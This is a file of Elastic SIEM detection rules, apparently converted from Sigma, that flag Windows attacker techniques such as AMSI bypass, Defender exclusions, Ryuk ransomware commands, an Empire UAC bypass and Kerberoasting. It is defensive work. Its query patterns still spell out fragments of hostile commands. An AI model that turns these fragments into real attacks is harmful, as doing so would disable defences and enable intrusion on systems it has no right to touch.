{"description":"Detects RDP session hijacking by using MSTSC shadowing Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6ba5a05f-b095-4f0a-8654-b825f4f16334","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"MSTSC Shadowing","query":"(process.command_line:*noconsentprompt* AND process.command_line:*shadow\\:*)","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1563"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1563","name":"Remote Service Session Hijacking","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects registry changes to Office macro settings Author: Trent Liffick (@tliffick). License: ","enabled":false,"false_positives":["Valid Macros and/or internal documents"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d04ffa66-7fbd-821b-a395-d12b11666f36","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Office Security Settings Changed","query":"winlog.event_data.TargetObject:(*\\\\Security\\\\Trusted\\ Documents\\\\TrustRecords OR *\\\\Security\\\\AccessVBOM OR *\\\\Security\\\\VBAWarnings)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects registry key used by Leviathan APT in Malaysian focused campaign Author: Aidan Bracher. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"13f3f239-0bf5-bc85-f0fa-3e9c87d5eefc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Leviathan Registry Key Activity","query":"winlog.event_data.TargetObject:\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\ntkd\"","meta":{"from":"1m"},"severity":"critical","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects registry keys created in OceanLotus (also known as APT32) attacks Author: megan201296, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3f72f736-8a86-7394-1db3-c63216de2d75","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"OceanLotus Registry Activity","query":"((winlog.event_data.TargetObject:\"HKCU\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\\\{E08A0F4B\\-1F65\\-4D4D\\-9A09\\-BD4625B9C5A1\\}\\\\Model\" OR (winlog.event_data.TargetObject:(HKCU\\\\SOFTWARE\\\\App\\\\* OR HKLM\\\\SOFTWARE\\\\App\\\\*) AND winlog.event_data.TargetObject:(*AppXbf13d4ea2945444d8b13e2121cb6b663\\\\* OR *AppX70162486c7554f7f80f481985d67586d\\\\* OR *AppX37cc7fdccd644b4f85f4b22d5a3f105a\\\\*) AND winlog.event_data.TargetObject:(*Application OR *DefaultIcon))) OR (winlog.event_data.TargetObject:HKCU\\\\* AND winlog.event_data.TargetObject:(*Classes\\\\AppXc52346ec40fb4061ad96be0e6cb7d16a\\\\* OR *Classes\\\\AppX3bbba44c6cae4d9695755183472171e2\\\\* OR *Classes\\\\CLSID\\\\\\{E3517E26\\-8E93\\-458D\\-A6DF\\-8030BC80528B\\}\\\\* OR *Classes\\\\CLSID\\\\\\{E08A0F4B\\-1F65\\-4D4D\\-9A09\\-BD4625B9C5A1\\}\\\\Model*)))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Registry modifications performed by Ke3chang malware in campaigns running in 2019 and 2020 Author: Markus Neis, Swisscom. License: ","enabled":false,"false_positives":["Will need to be looked for combinations of those processes"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1b9d1f8c-bad1-1c11-abb7-99db011b4478","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Ke3chang Registry Key Modifications","query":"process.command_line:(*\\-Property\\ DWORD\\ \\-name\\ DisableFirstRunCustomize\\ \\-value\\ 2\\ \\-Force* OR *\\-Property\\ String\\ \\-name\\ Check_Associations\\ \\-value* OR *\\-Property\\ DWORD\\ \\-name\\ IEHarden\\ \\-value\\ 0\\ \\-Force*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account. Author: Roberto Rodriguez @Cyb3rWard0g. License: ","enabled":false,"false_positives":["Legitimate usage of remote PowerShell, e.g. remote administration and monitoring."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"645c11d1-3b83-c8f6-b573-9f66c63e1337","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Remote PowerShell Session","query":"(destination.port:(\"5985\" OR \"5986\") AND (NOT (user.name:(*AUTHORI* OR *AUTORI*))))","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1021","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session). Author: Roberto Rodriguez @Cyb3rWard0g. License: ","enabled":false,"false_positives":["Legitimate usage of remote Powershell, e.g. for monitoring purposes."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"41e6a0de-4007-a716-3844-dd94ed08580e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Remote PowerShell Session Host Process (WinRM)","query":"(process.executable:*\\\\wsmprovhost.exe OR process.parent.executable:*\\\\wsmprovhost.exe)","meta":{"from":"1m"},"severity":"medium","tags":["T1021","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects renamed ftp.exe, ftp.exe script execution and child processes ran by ftp.exe Author: Victor Sergeev, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"06b401f4-107c-4ff9-947f-9ec1e7649f1e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious ftp.exe","query":"((process.command_line:*\\-s\\:* AND (process.executable:*ftp.exe OR winlog.event_data.OriginalFileName:*ftp.exe*)) OR (winlog.event_data.OriginalFileName:*ftp.exe* AND (NOT (process.executable:*ftp.exe))) OR process.parent.executable:*ftp.exe)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1059","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects renamed jusched.exe used by cobalt group Author: Markus Neis, Swisscom. License: ","enabled":false,"false_positives":["penetration tests, red teaming"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"edd8a48c-1b9f-4ba1-83aa-490338cd1ccb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Renamed jusched.exe","query":"((winlog.event_data.Description:\"Java\\ Update\\ Scheduler\" OR winlog.event_data.Description:\"Java\$TM\$\\ Update\\ Scheduler\") AND (NOT (process.executable:*\\\\jusched.exe)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report Author: Florian Roth. License: ","enabled":false,"false_positives":["Renamed SysInternals tool"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"18da1007-3f26-470f-875d-f77faf1cab31","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Ps.exe Renamed SysInternals Tool","query":"process.command_line:\"ps.exe\\ \\-accepteula\"","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Request to amsiInitFailed that can be used to disable AMSI Scanning Author: Markus Neis. License: ","enabled":false,"false_positives":["Potential Admin Activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"87bad272-2e63-5890-3768-96043fbe7c45","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Powershell AMSI Bypass via .NET Reflection","query":"(process.command_line:*System.Management.Automation.AmsiUtils* AND process.command_line:*amsiInitFailed*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets Author: Florian Roth. License: ","enabled":false,"false_positives":["Possible Admin Activity","Other Cmdlets that may use the same parameters"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e15177d6-3de7-4d7d-85b3-2b1ff2de930f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Powershell Defender Exclusion","query":"((process.command_line:(*Add\\-MpPreference\\ * OR *Set\\-MpPreference\\ *) AND process.command_line:(*\\ \\-ExclusionPath\\ * OR *\\ \\-ExclusionExtension\\ * OR *\\ \\-ExclusionProcess\\ *)) OR process.command_line:(*QWRkLU1wUHJlZmVyZW5jZ* OR *FkZC1NcFByZWZlcmVuY2* OR *BZGQtTXBQcmVmZXJlbmNl*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module Author: Bartlomiej Czyz, Relativity. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4b41d9c2-5ebe-1b1d-0d43-6a0cb1bf15d4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Rundll32 Without Parameters","query":"process.command_line:\"rundll32.exe\"","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1021","T1569","T1570"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""},{"id":"T1570","name":"Lateral Tool Transfer","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects rundll32.exe executing from an abnormal drive such as a mounted ISO. Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'. License: ","enabled":false,"false_positives":["Rare false positives could occur on servers with multiple drives."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c134e29a-f9cb-e1cd-1b94-3ee3bdb7ed07","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Rundll32 From Abnormal Drive","query":"(process.executable:*\\\\rundll32.exe AND (NOT ((process.working_directory:*C\\:\\\\* OR process.working_directory:\"\") OR (NOT _exists_:process.working_directory))))","meta":{"from":"1m"},"severity":"medium","tags":["T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b83f5166-9237-4b5e-9cd4-7b5d52f4d8ee","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Judgement Panda Credential Access Activity","query":"((process.executable:*\\\\xcopy.exe AND process.command_line:*\\/S* AND process.command_line:*\\/E* AND process.command_line:*\\/C* AND process.command_line:*\\/Q* AND process.command_line:*\\/H* AND process.command_line:*\\\\\\*) OR (process.executable:*\\\\adexplorer.exe AND process.command_line:*\\-snapshot* AND process.command_line:*\\\"\\\"* AND process.command_line:*c\\:\\\\users\\\\*))","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Ryuk ransomware activity Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c37510b8-2107-4b78-aa32-72f251e7a844","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Ryuk Ransomware","query":"(process.command_line:*Microsoft\\\\Windows\\\\CurrentVersion\\\\Run* AND process.command_line:*C\\:\\\\users\\\\Public\\\\*)","meta":{"from":"1m"},"severity":"critical","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Ryuk Ransomware command lines Author: Vasiliy Burov. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0acaad27-9f02-4136-a243-c357202edd74","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Ryuk Ransomware","query":"(process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*stop* AND process.command_line:(*samss* OR *audioendpointbuilder* OR *unistoresvc_?????*))","meta":{"from":"1m"},"severity":"critical","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Schtask creations that point to a folder references in environment variables or often used by malware Author: Florian Roth. License: ","enabled":false,"false_positives":["Benign scheduled tasks creations that happen often during software installations"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e2d07820-b12a-6a9e-fd30-f5f00efdf428","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicius Schtasks From Env Var Folder","query":"((process.executable:*schtasks.exe AND process.command_line:*\\ \\/create\\ * AND process.command_line:(*%AppData%* OR *\\\\AppData\\\\Local\\\\* OR *\\\\AppData\\\\Roaming\\\\* OR *%Public%* OR *\\\\Users\\\\Public* OR *C\\:\\\\Windows\\\\Temp* OR *C\\:\\\\Perflogs*)) AND (NOT ((process.command_line:*update_task.xml* OR process.parent.command_line:*unattended.ini*))))","meta":{"from":"1m"},"severity":"high","tags":["T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects ScreenConnect program starts that establish a remote access to that system (not meeting, not remote support) Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use by administrative staff"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"18a15f22-bab9-33c5-38f7-5a19cb228ae5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"ScreenConnect Remote Access","query":"(process.command_line:*e\\=Access&* AND process.command_line:*y\\=Guest&* AND process.command_line:*&p\\=* AND process.command_line:*&c\\=* AND process.command_line:*&k\\=*)","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","T1133"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1133","name":"External Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects service path modification to PowerShell or cmd. Author: Victor Sergeev, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"138d3531-8793-4f50-a2cd-f291b2863d78","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Service Path Modification","query":"(process.executable:*\\\\sc.exe AND process.command_line:*config* AND process.command_line:*binpath* AND process.command_line:(*powershell* OR *cmd*))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1543"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Service Principal Name Enumeration used for Kerberoasting Author: Markus Neis, keepwatch. License: ","enabled":false,"false_positives":["Administrator Activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1eeed653-dbc8-4187-ad0c-eeebb20e6599","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Possible SPN Enumeration","query":"((process.executable:*\\\\setspn.exe OR (winlog.event_data.Description:*Query\\ or\\ reset\\ the\\ computer* AND winlog.event_data.Description:*SPN\\ attribute*)) AND process.command_line:*\\-q*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1558"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1558","name":"Steal or Forge Kerberos Tickets","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects shell spawn from Java host process, which could a maintenance task or some kind of exploitation (e.g. log4j exploitation) Author: Andreas Hunkeler (@Karneades). License: ","enabled":false,"false_positives":["Legitimate calls to system binaries","Company specific internal usage"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Shells Spawn by Java","query":"((process.parent.executable:*\\\\java.exe AND process.executable:*\\\\cmd.exe) AND (NOT (process.parent.executable:*build* AND process.command_line:*build*)))","meta":{"from":"1m"},"severity":"medium","tags":["Initial Access","Privilege Escalation"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects shell32.dll executing a DLL in a suspicious directory Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"32b96012-7892-429e-b26c-ac2bf46066ff","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Shell32 DLL Execution in Suspicious Directory","query":"(process.executable:*\\\\rundll32.exe AND process.command_line:*shell32.dll* AND process.command_line:*Control_RunDLL* AND process.command_line:(*%AppData%* OR *%LocalAppData%* OR *%Temp%* OR *\\\\AppData\\\\* OR *\\\\Temp\\\\* OR *\\\\Users\\\\Public\\\\*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown","Possibly some Microsoft Edge upgrades"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"70086464-90f8-69b7-2bdb-b104a4a2ab1b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"InstallerFileTakeOver LPE CVE-2021-41379 File Create Event","query":"(process.executable:*\\\\msiexec.exe AND file.path:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Edge\\\\Application* AND file.path:*\\\\elevation_service.exe)","meta":{"from":"1m"},"severity":"critical","tags":["Privilege Escalation","T1068"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1068","name":"Exploitation for Privilege Escalation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects signs of the exploitation of LPE CVE-2021-41379 to spawn a cmd.exe with LOCAL_SYSTEM rights Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c8006a6d-642b-4225-b562-5434e142cd29","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Possible InstallerFileTakeOver LPE CVE-2021-41379","query":"(process.executable:*\\\\cmd.exe AND process.parent.executable:*\\\\elevation_service.exe AND IntegrityLevel:\"System\")","meta":{"from":"1m"},"severity":"critical","tags":["Privilege Escalation","T1068"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1068","name":"Exploitation for Privilege Escalation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects signs of the WMI script host process %SystemRoot%\\system32\\wbem\\scrcons.exe functionality being used via images being loaded by a process. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"80763e1e-d0dc-1b0c-2284-ecf4b7e28dec","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WMI Script Host Process Image Loaded","query":"(process.executable:*\\\\scrcons.exe AND file.path:(*\\\\vbscript.dll OR *\\\\wbemdisp.dll OR *\\\\wshom.ocx OR *\\\\scrrun.dll))","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects SILENTTRINITY stager use Author: Aleksey Potapov, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"03552375-cc2c-4883-bbe4-7958d5a980be","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"SILENTTRINITY Stager Execution","query":"winlog.event_data.Description:*st2stager*","meta":{"from":"1m"},"severity":"high","tags":["T1071"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects some Empire PowerShell UAC bypass methods Author: Ecco. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3268b746-88d8-4cd3-bffc-30077d02c787","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Empire PowerShell UAC Bypass","query":"process.command_line:(*\\ \\-NoP\\ \\-NonI\\ \\-w\\ Hidden\\ \\-c\\ $x\\=$\$\\(gp\\ HKCU\\:Software\\\\Microsoft\\\\Windows\\ Update\$.Update\\)* OR *\\ \\-NoP\\ \\-NonI\\ \\-c\\ $x\\=$\$\\(gp\\ HKCU\\:Software\\\\Microsoft\\\\Windows\\ Update\$.Update\\);*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects space after filename Author: Ã–mer GÃ¼nal. License: ","enabled":false,"false_positives":["Typos"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"879c3015-c88b-4782-93d7-07adf92dbcb7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Space After Filename","query":"(*echo\\ \\\"*\\\"\\ >\\ *\\ \\&&\\ chmod\\ \\+x\\ * AND *mv\\ *\\ \\\"*\\ \\\"*)","meta":{"from":"1m"},"severity":"low","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084 Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"520488ee-f30a-afb0-137c-217c432501fb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Atlassian Confluence CVE-2021-26084","query":"(process.parent.executable:*\\\\Atlassian\\\\Confluence\\\\jre\\\\bin\\\\java.exe AND process.command_line:(*cmd\\ \\/c* OR *cmd\\ \\/k* OR *powershell* OR *certutil* OR *curl* OR *whoami* OR *ipconfig*))","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","T1059","T1190"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]},{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects specific combinations of encoding methods in the PowerShell command lines Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cdf05894-89e7-4ead-b2b0-0a5f97a90f2f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Encoded PowerShell Command Line","query":"(process.executable:*\\\\powershell.exe AND ((((process.command_line:(*ToInt* OR *ToDecimal* OR *ToByte* OR *ToUint* OR *ToSingle* OR *ToSByte*) AND process.command_line:(*ToChar* OR *ToString* OR *String*)) OR (process.command_line:*char* AND process.command_line:*join*)) OR (process.command_line:*split* AND process.command_line:*join*)) OR (process.command_line:*ForEach* AND process.command_line:*Xor*) OR process.command_line:*cOnvErTTO\\-SECUreStRIng*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense 